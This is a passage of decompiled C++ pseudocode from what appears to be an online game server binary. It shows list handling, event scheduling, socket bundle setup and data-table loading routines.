v1->baseclass_0._Myhead; v1->baseclass_0._Myhead->_Left = v1->baseclass_0._Myhead; v1->baseclass_0._Myhead->_Right = v1->baseclass_0._Myhead; v1->baseclass_0._Mysize = 0; } //----- (0053C420) -------------------------------------------------------- void __thiscall Metronome::Metronome(Metronome *this) { this->m_NextTick = 0; this->m_TickInterval = 0; } //----- (0053C430) -------------------------------------------------------- void __thiscall FieldMap::fm_StartScript(void *this, int lst, __int16 handle) { void *v3; // esi@1 int v4; // eax@1 char v5; // cl@1 char *v6; // eax@1 PineScriptToken initval; // [sp+0h] [bp-110h]@1 unsigned int v8; // [sp+100h] [bp-10h]@3 int v9; // [sp+10Ch] [bp-4h]@1 v3 = this; PineScriptToken::pst_Clear(&initval); v4 = *((_DWORD *)v3 + 3); v5 = *(_BYTE *)(v4 + 65); v6 = (char *)(v4 + 65); v9 = 0; if ( v5 != 45 ) Movie::CinemaComplex::cc_PlayFilm(*((Movie::CinemaComplex **)v3 + 17), v6, &initval); v9 = -1; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&initval); __security_check_cookie(v8); } //----- (0053C4D0) -------------------------------------------------------- void __thiscall EventHeartPing::EventHeartPing(EventHeartPing *this) { this->baseclass_0.vfptr = (EventReserveBaseVtbl *)&EventHeartPing::_vftable_; } // 5E16D8: using guessed type int (__cdecl *EventHeartPing___vftable_)(int __formal); //----- (0053C4E0) -------------------------------------------------------- void __thiscall List::_List(List *this) { void *v1; // ecx@1 this->vfptr = (ListVtbl *)EventReserveContainer::_vftable_; v1 = this->l_Array; if ( v1 ) operator delete__(v1); } // 5E16DC: using guessed type int (__stdcall *EventReserveContainer___vftable_[3])(__int16 hnd); //----- (0053C500) -------------------------------------------------------- char __thiscall List::l_PushZ(List *this, EventReserveListElement *ele) { int v2; // eax@1 int v3; // eax@2 char result; // al@3 v2 = this->l_Finger.empty; if ( (_WORD)v2 != -1 && (v3 = ((int (__stdcall *)(int))this->vfptr->l_AllocZ)(v2)) != 0 ) { *(_DWORD *)v3 = ele->erle_happened; *(_DWORD *)(v3 + 4) = ele->erle_event; *(_DWORD *)(v3 + 8) = *(_DWORD *)&ele->erle_handle; *(_DWORD *)(v3 + 12) = ele->erle_repeat; result = 1; } else { result = 0; } return result; } //----- (0053C540) -------------------------------------------------------- char __thiscall List::l_PopA(List *this, EventReserveListElement *ele) { ListStruct *v2; // esi@1 int v3; // eax@1 EventReserveListElement *v5; // edx@4 v2 = this->l_Array; v3 = 3 * this->l_Finger.store; LOWORD(v3) = v2[this->l_Finger.store].ls_Next; if ( (unsigned __int16)v3 < this->l_MaxSize ) { if ( !v2[(unsigned __int16)v3].ls_IsActiv ) return 0; v5 = v2[(unsigned __int16)v3].ls_Content; ele->erle_happened = v5->erle_happened; ele->erle_event = v5->erle_event; *(_DWORD *)&ele->erle_handle = *(_DWORD *)&v5->erle_handle; ele->erle_repeat = v5->erle_repeat; ((void (__stdcall *)(_DWORD))this->vfptr->l_Free)(v3); } return 1; } //----- (0053C5A0) -------------------------------------------------------- char __thiscall List::l_PopZ(List *this, EventReserveListElement *ele) { ListStruct *v2; // esi@1 int v3; // eax@1 EventReserveListElement *v5; // edx@4 v2 = this->l_Array; v3 = 3 * this->l_Finger.store; LOWORD(v3) = v2[this->l_Finger.store].ls_Prev; if ( (unsigned __int16)v3 < this->l_MaxSize ) { if ( !v2[(unsigned __int16)v3].ls_IsActiv ) return 0; v5 = v2[(unsigned __int16)v3].ls_Content; ele->erle_happened = v5->erle_happened; ele->erle_event = v5->erle_event; *(_DWORD *)&ele->erle_handle = *(_DWORD *)&v5->erle_handle; ele->erle_repeat = v5->erle_repeat; ((void (__stdcall *)(_DWORD))this->vfptr->l_Free)(v3); } return 1; } //----- (0053C600) -------------------------------------------------------- GameDBSession *__thiscall SocketBundle::__unnamed::__unnamed(GameDBSession *this) { GameDBSession *v1; // esi@1 v1 = this; GameDBSession::GameDBSession(this); return v1; } //----- (0053C620) -------------------------------------------------------- GameLogSession *__thiscall SocketBundle::__unnamed::__unnamed(GameLogSession *this) { GameLogSession *v1; // esi@1 v1 = this; GameLogSession::GameLogSession(this); return v1; } //----- (0053C640) -------------------------------------------------------- WorldManagerSession *__thiscall SocketBundle::__unnamed::__unnamed(WorldManagerSession *this) { WorldManagerSession *v1; // esi@1 v1 = this; WorldManagerSession::WorldManagerSession(this); return v1; } //----- (0053C660) -------------------------------------------------------- BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname) { BinaryDataBox *v2; // esi@1 char buffer[256]; // [sp+8h] [bp-104h]@2 v2 = this; if ( !CDataReader::Read(&this->baseclass_0.baseclass_0, fname, 0x8Du, 0x2Bu) ) { AssertClass::ac_AssertFail(&shineassert, "BinaryDataBox::bdb_ReadData : readfail", fname); sprintf(buffer, "Code:%X:%d\tSHN:%X:%d"); AssertClass::ac_AssertFail(&shineassert, buffer, 0); ShineExit("BinaryDataBox::bdb_ReadData"); } return v2; } //----- (0053C710) -------------------------------------------------------- BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname) { BinaryDataBox *v2; // esi@1 char buffer[256]; // [sp+8h] [bp-104h]@2 v2 = this; if ( !CDataReader::Read(&this->baseclass_0.baseclass_0, fname, 0x1B8u, 0x5Fu) ) { AssertClass::ac_AssertFail(&shineassert, "BinaryDataBox::bdb_ReadData : readfail", fname); sprintf(buffer, "Code:%X:%d\tSHN:%X:%d"); AssertClass::ac_AssertFail(&shineassert, buffer, 0); ShineExit("BinaryDataBox::bdb_ReadData"); } return v2; } //----- (0053C7C0) -------------------------------------------------------- BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname) { BinaryDataBox *v2; // esi@1 char buffer[256]; // [sp+8h] [bp-104h]@2 v2 = this; if ( !CDataReader::Read(&this->baseclass_0.baseclass_0, fname, 0x3F9u, 0x94u) ) { AssertClass::ac_AssertFail(&shineassert, "BinaryDataBox::bdb_ReadData : readfail", fname); sprintf(buffer, "Code:%X:%d\tSHN:%X:%d"); AssertClass::ac_AssertFail(&shineassert, buffer, 0); ShineExit("BinaryDataBox::bdb_ReadData"); } return v2; } //----- (0053C870) -------------------------------------------------------- char __thiscall List::l_4AllInList(List *this, ListIteratorDefault *arg) { List *v2; // esi@1 unsigned __int16 v3; // dx@1 int v4; // eax@2 int v5; // ecx@2 ListStruct *v6; // edi@3 ORTable *v7; // ebp@3 unsigned __int16 v8; // di@3 char result; // al@6 v2 = this; v3 = this->l_Array[this->l_Finger.store].ls_Next; if ( v3 >= this->l_MaxSize ) { LABEL_6: result = 1; } else { while ( 1 ) { v4 = v3; v5 = (int)&v2->l_Array[v4]; if ( !*(_BYTE *)(v5 + 8) ) break; v6 = v2->l_Array; v7 = v6[v4].ls_Content; v8 = v6[v4].ls_Next; if ( v7 ) { if ( !arg->vfptr->lid_Call(arg, *(ORTable **)v5, v3) ) break; } v3 = v8; if ( v8 >= v2->l_MaxSize ) goto LABEL_6; } result = 0; } return result; } //----- (0053C8E0) -------------------------------------------------------- void __thiscall EventReserveContainer::_EventReserveContainer(EventReserveContainer *this) { EventReserveContainer *v1; // esi@1 void *v2; // eax@1 void *v3; // edi@2 void *v4; // esi@3 v1 = this; this->baseclass_0.vfptr = (ListVtbl *)EventReserveContainer::_vftable_; v2 = this->erc_eventarr; if ( v2 ) { v3 = (char *)v2 - 4; _eh_vector_destructor_iterator_( v2, 0x10u, *((_DWORD *)v2 - 1), (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); operator delete__(v3); } v1->baseclass_0.vfptr = (ListVtbl *)EventReserveContainer::_vftable_; v4 = v1->baseclass_0.l_Array; if ( v4 ) operator delete__(v4); } // 5E16DC: using guessed type int (__stdcall *EventReserveContainer___vftable_[3])(__int16 hnd); //----- (0053C960) -------------------------------------------------------- char __thiscall EventReserveListElement::erle_Routine(EventReserveListElement *this, List *lst, unsigned __int16 handle) { EventReserveListElement *v3; // esi@1 unsigned int v4; // eax@2 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "EventReserveListElement::erle_Routine"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "EventReserveListElement::erle_Routine"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( v3->erle_happened <= clockwatch.cw_CurrTick ) { (**(void (***)(void))v3->erle_event)(); v4 = v3->erle_repeat; if ( v4 ) v3->erle_happened += v4; else ((void (__stdcall *)(_DWORD))lst->vfptr->l_Free)(handle); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "EventReserveListElement::erle_Routine"); return 1; } //----- (0053CA20) -------------------------------------------------------- char __thiscall List::l_PushA(List *this, EventReserveListElement *ele) { int v2; // eax@1 int v3; // eax@2 char result; // al@3 v2 = this->l_Finger.empty; if ( (_WORD)v2 != -1 && (v3 = ((int (__stdcall *)(int))this->vfptr->l_AllocA)(v2)) != 0 ) { *(_DWORD *)v3 = ele->erle_happened; *(_DWORD *)(v3 + 4) = ele->erle_event; *(_DWORD *)(v3 + 8) = *(_DWORD *)&ele->erle_handle; *(_DWORD *)(v3 + 12) = ele->erle_repeat; result = 1; } else { result = 0; } return result; } //----- (0053CA60) -------------------------------------------------------- void __thiscall SocketBundle::SocketBundle(SocketBundle *this, int recintv) { SocketBundle *v2; // esi@1 int v3; // eax@1 signed int v4; // ecx@1 v2 = this; _eh_vector_constructor_iterator_( this->sb_SocketStr, 0x108u, 4, (void (__thiscall *)(void *))SocketBundle::__unnamed::__unnamed, (void (__thiscall *)(void *))SocketBundle::__unnamed::___unnamed); v2->sb_Pointer.mask = 3; v2->sb_Pointer.value = 0; v2->sb_ReconnectInterval = recintv; v3 = (int)&v2->sb_SocketStr[0].varification; v4 = 4; do { *(_DWORD *)(v3 - 4) = 0; *(_BYTE *)v3 = 0; v3 += 264; --v4; } while ( v4 ); } //----- (0053CAC0) -------------------------------------------------------- void __thiscall SocketBundle::_SocketBundle(SocketBundle *this) { _eh_vector_destructor_iterator_( this->sb_SocketStr, 0x108u, 4, (void (__thiscall *)(void *))SocketBundle::__unnamed::___unnamed); } //----- (0053CAE0) -------------------------------------------------------- void __thiscall SocketBundle::SocketBundle(SocketBundle *this, int recintv) { SocketBundle *v2; // esi@1 int v3; // eax@1 signed int v4; // ecx@1 v2 = this; _eh_vector_constructor_iterator_( this->sb_SocketStr, 0x108u, 4, (void (__thiscall *)(void *))SocketBundle::__unnamed::__unnamed, (void (__thiscall *)(void *))SocketBundle::__unnamed::___unnamed); v2->sb_Pointer.mask = 3; v2->sb_Pointer.value = 0; v2->sb_ReconnectInterval = recintv; v3 = (int)&v2->sb_SocketStr[0].varification; v4 = 4; do { *(_DWORD *)(v3 - 4) = 0; *(_BYTE *)v3 = 0; v3 += 264; --v4; } while ( v4 ); } //----- (0053CB40) -------------------------------------------------------- void __thiscall SocketBundle::_SocketBundle(SocketBundle *this) { _eh_vector_destructor_iterator_( this->sb_SocketStr, 0x108u, 4, (void (__thiscall *)(void *))SocketBundle::__unnamed::___unnamed); } //----- (0053CB60) -------------------------------------------------------- void __thiscall SocketBundle::SocketBundle(SocketBundle *this, int recintv) { SocketBundle *v2; // esi@1 int v3; // eax@1 signed int v4; // ecx@1 v2 = this; _eh_vector_constructor_iterator_( this->sb_SocketStr, 0x108u, 4, (void (__thiscall *)(void *))SocketBundle::__unnamed::__unnamed, (void (__thiscall *)(void *))SocketBundle::__unnamed::___unnamed); v2->sb_Pointer.mask = 3; v2->sb_Pointer.value = 0; v2->sb_ReconnectInterval = recintv; v3 = (int)&v2->sb_SocketStr[0].varification; v4 = 4; do { *(_DWORD *)(v3 - 4) = 0; *(_BYTE *)v3 = 0; v3 += 264; --v4; } while ( v4 ); } //----- (0053CBC0) -------------------------------------------------------- void __thiscall SocketBundle::_SocketBundle(SocketBundle *this) { _eh_vector_destructor_iterator_( this->sb_SocketStr, 0x108u, 4, (void (__thiscall *)(void *))SocketBundle::__unnamed::___unnamed); } //----- (0053CBE0) -------------------------------------------------------- void __thiscall ChargedItemEffectDataBox::cideb_Load(ChargedItemEffectDataBox *this, char *fname, UseEffect::UseItemBase *uib, SkillDataBox::SkillDataIndex *uie) { ChargedItemEffectDataBox *v4; // edi@1 int v5; // eax@1 unsigned int v6; // esi@1 void *v7; // ebx@3 unsigned int v8; // eax@8 int i; // ebx@13 CIDEB_Element *v10; // eax@14 unsigned __int16 v11; // cx@14 unsigned __int16 v12; // ax@18 int v13; // ebp@19 unsigned __int16 v14; // cx@21 v4 = this; BinaryDataBox::bdb_ReadData(&this->baseclass_0, fname); v5 = v4->baseclass_0.baseclass_0.baseclass_0.m_pHead->nNumOfRecord; v4->cideb_Total = v5; v4->cideb_Array = (CIDEB_Element *)operator new__(8 * v5); v6 = 0; if ( v4->cideb_Total > 0 ) { while ( 1 ) { if ( v6 < v4->baseclass_0.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v7 = CDataReader::GetRecord(&v4->baseclass_0.baseclass_0.baseclass_0, v6); else v7 = (void *)&v4->baseclass_0.bdb_defaultblock; if ( !v7 ) { AssertClass::ac_AssertFail(&shineassert, "ChargedItemEffectDataBox::cideb_Load : Null argument", v6); ShineExit("ChargedItemEffectDataBox::cideb_Load"); } v8 = BTree::operator__(&stru_125739F0, (const char *)v7 + 2); if ( v8 == -1 ) LOWORD(v8) = -1; v4->cideb_Array[v6].ce_ItemID = v8; v4->cideb_Array[v6].ce_Data = (ChargedItemEffect *)v7; if ( v4->cideb_Array[v6].ce_ItemID == -1 ) { AssertClass::ac_AssertFail( &shineassert, "ChargedItemEffectDataBox::cideb_Load : Invalid item", (const char *)v7 + 2); ShineExit("ChargedItemEffectDataBox::cideb_Load"); } for ( i = 0; i < (signed int)(v6 - 1); ++i ) { v10 = v4->cideb_Array; v11 = v10[i].ce_Data->Handle; if ( v11 == v10[v6].ce_Data->Handle ) { AssertClass::ac_AssertFail(&shineassert, "ChargedItemEffectDataBox::cideb_Load : Same Handle", v11); ShineExit("ChargedItemEffectDataBox::cideb_Load"); } } v12 = v4->cideb_Array[v6].ce_ItemID; if ( v12 >= (unsigned int)dword_125739EC || (v13 = dword_12574188 + 28 * v12) == 0 || !*(_DWORD *)v13 ) goto LABEL_23; v14 = **(_WORD **)v13; if ( v14 != v12 ) break; LABEL_24: if ( *(_DWORD *)(*(_DWORD *)v13 + 102) != 27 ) UseEffect::UsedItemEffect::uie_SetChargedBuffer(&useditemeffect, v4->cideb_Array[v6].ce_ItemID, uib, uie); ++v6; if ( (signed int)v6 >= v4->cideb_Total ) return; } AssertClass::ac_AssertFail(&shineassert, "ItemDataBox::operator [] :Invalid Item index", v14 + 10000 * v12); LABEL_23: v13 = 0; goto LABEL_24; } } // 125739EC: using guessed type int dword_125739EC; // 12574188: using guessed type int dword_12574188; //----- (0053CDA0) -------------------------------------------------------- void __thiscall ChargedItemEffectDataBox::cideb_Load(ChargedItemEffectDataBox *this, char *fname, UseEffect::UseItemBase *uib, SkillDataBox::SkillDataIndex *uie) { ChargedItemEffectDataBox *v4; // edi@1 int v5; // eax@1 unsigned int v6; // esi@1 void *v7; // ebx@3 unsigned int v8; // eax@8 int i; // ebx@13 CIDEB_Element *v10; // eax@14 unsigned __int16 v11; // cx@14 unsigned __int16 v12; // ax@18 int v13; // ebp@19 unsigned __int16 v14; // cx@21 v4 = this; BinaryDataBox::bdb_ReadData(&this->baseclass_0, fname); v5 = v4->baseclass_0.baseclass_0.baseclass_0.m_pHead->nNumOfRecord; v4->cideb_Total = v5; v4->cideb_Array = (CIDEB_Element *)operator new__(8 * v5); v6 = 0; if ( v4->cideb_Total > 0 ) { while ( 1 ) { if ( v6 < v4->baseclass_0.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v7 = CDataReader::GetRecord(&v4->baseclass_0.baseclass_0.baseclass_0, v6); else v7 = &v4->baseclass_0.bdb_defaultblock; if ( !v7 ) { AssertClass::ac_AssertFail(&shineassert, "ChargedItemEffectDataBox::cideb_Load : Null argument", v6); ShineExit("ChargedItemEffectDataBox::cideb_Load"); } v8 = BTree::operator__(&stru_125739F0, (const char *)v7 + 2); if ( v8 == -1 ) LOWORD(v8) = -1; v4->cideb_Array[v6].ce_ItemID = v8; v4->cideb_Array[v6].ce_Data = (MiniHouse *)v7; if ( v4->cideb_Array[v6].ce_ItemID == -1 ) { AssertClass::ac_AssertFail( &shineassert, "ChargedItemEffectDataBox::cideb_Load : Invalid item", (const char *)v7 + 2); ShineExit("ChargedItemEffectDataBox::cideb_Load"); } for ( i = 0; i < (signed int)(v6 - 1); ++i ) { v10 = v4->cideb_Array; v11 = v10[i].ce_Data->Handle; if ( v11 == v10[v6].ce_Data->Handle ) { AssertClass::ac_AssertFail(&shineassert, "ChargedItemEffectDataBox::cideb_Load : Same Handle", v11); ShineExit("ChargedItemEffectDataBox::cideb_Load"); } } v12 = v4->cideb_Array[v6].ce_ItemID; if ( v12 >= (unsigned int)dword_125739EC || (v13 = dword_12574188 + 28 * v12) == 0 || !*(_DWORD *)v13 ) goto LABEL_23; v14 = **(_WORD **)v13; if ( v14 != v12 ) break; LABEL_24: if ( *(_DWORD *)(*(_DWORD *)v13 + 102) != 27 ) UseEffect::UsedItemEffect::uie_SetChargedBuffer(&useditemeffect, v4->cideb_Array[v6].ce_ItemID, uib, uie); ++v6; if ( (signed int)v6 >= v4->cideb_Total ) return; } AssertClass::ac_AssertFail(&shineassert, "ItemDataBox::operator [] :Invalid Item index", v14 + 10000 * v12); LABEL_23: v13 = 0; goto LABEL_24; } } // 125739EC: using guessed type int dword_125739EC; // 12574188: using guessed type int dword_12574188; //----- (0053CF80) -------------------------------------------------------- void __thiscall ChargedItemEffectDataBox::cideb_Load(ChargedItemEffectDataBox *this, char *fname, UseEffect::UseItemBase *uib, SkillDataBox::SkillDataIndex *uie) { ChargedItemEffectDataBox *v4; // edi@1 int v5; // eax@1 unsigned int v6; // esi@1 void *v7; // ebx@3 unsigned int v8; // eax@8 int i; // ebx@13 CIDEB_Element *v10; // eax@14 unsigned __int16 v11; // cx@14 unsigned __int16 v12; // ax@18 int v13; // ebp@19 unsigned __int16 v14; // cx@21 v4 = this; BinaryDataBox::bdb_ReadData(&this->baseclass_0, fname); v5 = v4->baseclass_0.baseclass_0.baseclass_0.m_pHead->nNumOfRecord; v4->cideb_Total = v5; v4->cideb_Array = (CIDEB_Element *)operator new__(8 * v5); v6 = 0; if ( v4->cideb_Total > 0 ) { while ( 1 ) { if ( v6 < v4->baseclass_0.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v7 = CDataReader::GetRecord(&v4->baseclass_0.baseclass_0.baseclass_0, v6); else v7 = &v4->baseclass_0.bdb_defaultblock; if ( !v7 ) { AssertClass::ac_AssertFail(&shineassert, "ChargedItemEffectDataBox::cideb_Load : Null argument", v6); ShineExit("ChargedItemEffectDataBox::cideb_Load"); } v8 = BTree::operator__(&stru_125739F0, (const char *)v7 + 2); if ( v8 == -1 ) LOWORD(v8) = -1; v4->cideb_Array[v6].ce_ItemID = v8; v4->cideb_Array[v6].ce_Data = (MiniHouseFurniture *)v7; if ( v4->cideb_Array[v6].ce_ItemID == -1 ) { AssertClass::ac_AssertFail( &shineassert, "ChargedItemEffectDataBox::cideb_Load : Invalid item", (const char *)v7 + 2); ShineExit("ChargedItemEffectDataBox::cideb_Load"); } for ( i = 0; i < (signed int)(v6 - 1); ++i ) { v10 = v4->cideb_Array; v11 = v10[i].ce_Data->Handle; if ( v11 == v10[v6].ce_Data->Handle ) { AssertClass::ac_AssertFail(&shineassert, "ChargedItemEffectDataBox::cideb_Load : Same Handle", v11); ShineExit("ChargedItemEffectDataBox::cideb_Load"); } } v12 = v4->cideb_Array[v6].ce_ItemID; if ( v12 >= (unsigned int)dword_125739EC || (v13 = dword_12574188 + 28 * v12) == 0 || !*(_DWORD *)v13 ) goto LABEL_23; v14 = **(_WORD **)v13; if ( v14 != v12 ) break; LABEL_24: if ( *(_DWORD *)(*(_DWORD *)v13 + 102) != 27 ) UseEffect::UsedItemEffect::uie_SetChargedBuffer(&useditemeffect, v4->cideb_Array[v6].ce_ItemID, uib, uie); ++v6; if ( (signed int)v6 >= v4->cideb_Total ) return; } AssertClass::ac_AssertFail(&shineassert, "ItemDataBox::operator [] :Invalid Item index", v14 + 10000 * v12); LABEL_23: v13 = 0; goto LABEL_24; } } // 125739EC: using guessed type int dword_125739EC; // 12574188: using guessed type int dword_12574188; //----- (0053D160) -------------------------------------------------------- void __thiscall ITableBase::_ITableBase(ITableBase *this) { CDataReader *v1; // esi@1 this->vfptr = (ITableBaseVtbl *)&ITableBase::_vftable_; v1 = &this->m_kDataReader; CDataReader::ClearBF(&this->m_kDataReader); CDataReader::_CDataReader(v1); } // 5E1720: using guessed type int (__cdecl *ITableBase_GUILD_TOURNAMENT_SCORE_GuildTournamentScoreTable____vftable_)(int __formal); //----- (0053D1C0) -------------------------------------------------------- void __thiscall ITableBase::_ITableBase(ITableBase *this) { CDataReader *v1; // esi@1 this->vfptr = (ITableBaseVtbl *)&ITableBase::_vftable_; v1 = &this->m_kDataReader; CDataReader::ClearBF(&this->m_kDataReader); CDataReader::_CDataReader(v1); } // 5E172C: using guessed type int (__cdecl *ITableBase_GUILD_TOURNAMENT_LVGAP_GuildTournamentLvGapTable____vftable_)(int __formal); //----- (0053D220) -------------------------------------------------------- void __thiscall ITableBase::_ITableBase(ITableBase *this) { CDataReader *v1; // esi@1 this->vfptr = (ITableBaseVtbl *)&ITableBase::_vftable_; v1 = &this->m_kDataReader; CDataReader::ClearBF(&this->m_kDataReader); CDataReader::_CDataReader(v1); } // 5E1738: using guessed type int (__cdecl *ITableBase_GUILD_TOURNAMENT_OCCUPY_GuildTournamentOccupyTable____vftable_)(int __formal); //----- (0053D280) -------------------------------------------------------- void __thiscall ITableBase::_ITableBase(ITableBase *this) { CDataReader *v1; // esi@1 this->vfptr = (ITableBaseVtbl *)&ITableBase::_vftable_; v1 = &this->m_kDataReader; CDataReader::ClearBF(&this->m_kDataReader); CDataReader::_CDataReader(v1); } // 5E1744: using guessed type int (__cdecl *ITableBase_GUILD_TOURNAMENT_SKILL_GuildTournamentSkillTable____vftable_)(int __formal); //----- (0053D2E0) -------------------------------------------------------- void __thiscall ITableBase::_ITableBase(ITableBase *this) { CDataReader *v1; // esi@1 this->vfptr = (ITableBaseVtbl *)&ITableBase::_vftable_; v1 = &this->m_kDataReader; CDataReader::ClearBF(&this->m_kDataReader); CDataReader::_CDataReader(v1); } // 5E1750: using guessed type int (__cdecl *ITableBase_GUILD_TOURNAMENT_MASTERBUFF_GuildTournamentMasterBuffTable____vftable_)(int __formal); //----- (0053D340) -------------------------------------------------------- void __thiscall ITableBase::_ITableBase(ITableBase *this) { CDataReader *v1; // esi@1 this->vfptr = (ITableBaseVtbl *)&ITableBase::_vftable_; v1 = &this->m_kDataReader; CDataReader::ClearBF(&this->m_kDataReader); CDataReader::_CDataReader(v1); } // 5E175C: using guessed type int (__cdecl *ITableBase_GTIGetRate_GTIGetRateTable____vftable_)(int __formal); //----- (0053D3A0) -------------------------------------------------------- void __thiscall ITableBase::_ITableBase(ITableBase *this) { CDataReader *v1; // esi@1 this->vfptr = (ITableBaseVtbl *)&ITableBase::_vftable_; v1 = &this->m_kDataReader; CDataReader::ClearBF(&this->m_kDataReader); CDataReader::_CDataReader(v1); } // 5E1768: using guessed type int (__cdecl *ITableBase_GTIGetRateGap_GTIGetRateGapTable____vftable_)(int __formal); //----- (0053D400) -------------------------------------------------------- void __thiscall ITableBase::_ITableBase(ITableBase *this) { CDataReader *v1; // esi@1 this->vfptr = (ITableBaseVtbl *)&ITableBase::_vftable_; v1 = &this->m_kDataReader; CDataReader::ClearBF(&this->m_kDataReader); CDataReader::_CDataReader(v1); } // 5E1774: using guessed type int (__cdecl *ITableBase_GTIServer_GTIServerTable____vftable_)(int __formal); //----- (0053D460) -------------------------------------------------------- void __thiscall ITableBase::_ITableBase(ITableBase *this) { CDataReader *v1; // esi@1 this->vfptr = (ITableBaseVtbl *)&ITableBase::_vftable_; v1 = &this->m_kDataReader; CDataReader::ClearBF(&this->m_kDataReader); CDataReader::_CDataReader(v1); } // 5E1780: using guessed type int (__cdecl *ITableBase_GTIBreedSubject_GTIBreedSubjectTable____vftable_)(int __formal); //----- (0053D4C0) -------------------------------------------------------- void __thiscall ITableBase::_ITableBase(ITableBase *this) { CDataReader *v1; // esi@1 this->vfptr = (ITableBaseVtbl *)&ITableBase::_vftable_; v1 = &this->m_kDataReader; CDataReader::ClearBF(&this->m_kDataReader); CDataReader::_CDataReader(v1); } // 5E178C: using guessed type int (__cdecl *ITableBase_GTWinScore_GTWinScoreTable____vftable_)(int __formal); //----- (0053D520) -------------------------------------------------------- void __thiscall ITableBase::_ITableBase(ITableBase *this) { CDataReader *v1; // esi@1 this->vfptr = (ITableBaseVtbl *)&ITableBase::_vftable_; v1 = &this->m_kDataReader; CDataReader::ClearBF(&this->m_kDataReader); CDataReader::_CDataReader(v1); } // 5E1798: using guessed type int (__cdecl *ITableBase_AccUpGradeInfo_AccUpGradeInfoTable____vftable_)(int __formal); //----- (0053D580) -------------------------------------------------------- void __thiscall AccUpGradeInfoTable::_AccUpGradeInfoTable(AccUpGradeInfoTable *this) { ITableBase *v1; // esi@1 void *v2; // ST00_4@1 v1 = (ITableBase *)this; v2 = this->baseclass_0.m_pkRecordIDMap; this->baseclass_0.baseclass_0.vfptr = (ITableBaseVtbl *)&IIDTableBase::_vftable_; operator delete__(v2); ITableBase::_ITableBase(v1); } // 5E17A4: using guessed type int (__cdecl *IIDTableBase_AccUpGradeInfo_AccUpGradeInfoTable_int____vftable_)(int __formal); //----- (0053D5A0) -------------------------------------------------------- bool __thiscall IIDTableBase::IsValidID(IIDTableBase *this, int ID) { return ID != -1; } //----- (0053D5B0) -------------------------------------------------------- bool __thiscall IIDTableBase::DataProcess(IIDTableBase *this) { signed int v1; // ebp@1 IIDTableBase *v2; // esi@1 unsigned int v3; // edi@1 char *v4; // ebx@1 int v5; // eax@2 ITableBaseVtbl *v6; // ebp@4 void *v7; // eax@4 int v8; // eax@4 void *v9; // eax@10 unsigned int v10; // edx@10 int v11; // edi@10 int i; // ecx@10 unsigned int j; // edi@13 int v14; // eax@14 ITableBaseVtbl *v15; // ebp@16 void *v16; // eax@16 int v17; // ebp@16 bool result; // al@19 signed int iMostLargeID; // [sp+10h] [bp-4h]@1 v1 = -1; v2 = this; iMostLargeID = -1; v3 = 0; v4 = (char *)&this->baseclass_0.m_kDataReader; while ( 1 ) { v5 = *((_DWORD *)v4 + 12); if ( !v5 ) break; if ( v3 >= *(_DWORD *)(v5 + 40) ) break; v6 = v2->baseclass_0.vfptr; v7 = CDataReader::GetRecord((CDataReader *)v4, v3); v8 = ((int (__thiscall *)(IIDTableBase *, void *))v6[1].BeforeTerminate)( v2, v7); v1 = iMostLargeID; if ( v8 > iMostLargeID ) { v1 = v8; iMostLargeID = v8; } ++v3; } if ( v1 < 0 ) { LABEL_19: result = 0; } else { if ( v2->m_pkRecordIDMap ) operator delete__(v2->m_pkRecordIDMap); v9 = operator new__(4 * v1 + 4); v2->m_pkRecordIDMap = (AccUpGradeInfo **)v9; v10 = 4 * v1 + 4; memset(v9, 0, 4 * (v10 >> 2)); v11 = (int)((char *)v9 + 4 * (v10 >> 2)); for ( i = v10 & 3; i; --i ) *(_BYTE *)v11++ = 0; for ( j = 0; ; ++j ) { v14 = *((_DWORD *)v4 + 12); if ( !v14 ) break; if ( j >= *(_DWORD *)(v14 + 40) ) break; v15 = v2->baseclass_0.vfptr; v16 = CDataReader::GetRecord((CDataReader *)v4, j); v17 = ((int (__thiscall *)(IIDTableBase *, void *))v15[1].BeforeTerminate)( v2, v16); if ( v2->m_pkRecordIDMap[v17] ) { operator delete__(v2->m_pkRecordIDMap); v2->m_pkRecordIDMap = 0; goto LABEL_19; } v2->m_pkRecordIDMap[v17] = (AccUpGradeInfo *)CDataReader::GetRecord((CDataReader *)v4, j); v1 = iMostLargeID; } v2->m_tMostLargeID = v1; result = 1; } return result; } //----- (0053D6C0) -------------------------------------------------------- void __thiscall ITableBase::_ITableBase(ITableBase *this) { CDataReader *v1; // esi@1 this->vfptr = (ITableBaseVtbl *)&ITableBase::_vftable_; v1 = &this->m_kDataReader; CDataReader::ClearBF(&this->m_kDataReader); CDataReader::_CDataReader(v1); } // 5E17B8: using guessed type int (__cdecl *ITableBase_AccUpgrade_AccUpGradeTable____vftable_)(int __formal); //----- (0053D720) -------------------------------------------------------- void __thiscall ITableBase::_ITableBase(ITableBase *this) { CDataReader *v1; // esi@1 this->vfptr = (ITableBaseVtbl *)&ITableBase::_vftable_; v1 = &this->m_kDataReader; CDataReader::ClearBF(&this->m_kDataReader); CDataReader::_CDataReader(v1); } // 5E17C4: using guessed type int (__cdecl *ITableBase_MysteryVaultServer_MysteryVaultTable____vftable_)(int __formal); //----- (0053D780) -------------------------------------------------------- void __thiscall ITableBase::_ITableBase(ITableBase *this) { CDataReader *v1; // esi@1 this->vfptr = (ITableBaseVtbl *)&ITableBase::_vftable_; v1 = &this->m_kDataReader; CDataReader::ClearBF(&this->m_kDataReader); CDataReader::_CDataReader(v1); } // 5E17D0: using guessed type int (__cdecl *ITableBase_DamageLvGapPVE_LevelGap_Player_to_Monster____vftable_)(int __formal); //----- (0053D7E0) -------------------------------------------------------- void __thiscall ITableBase::_ITableBase(ITableBase *this) { CDataReader *v1; // esi@1 this->vfptr = (ITableBaseVtbl *)&ITableBase::_vftable_; v1 = 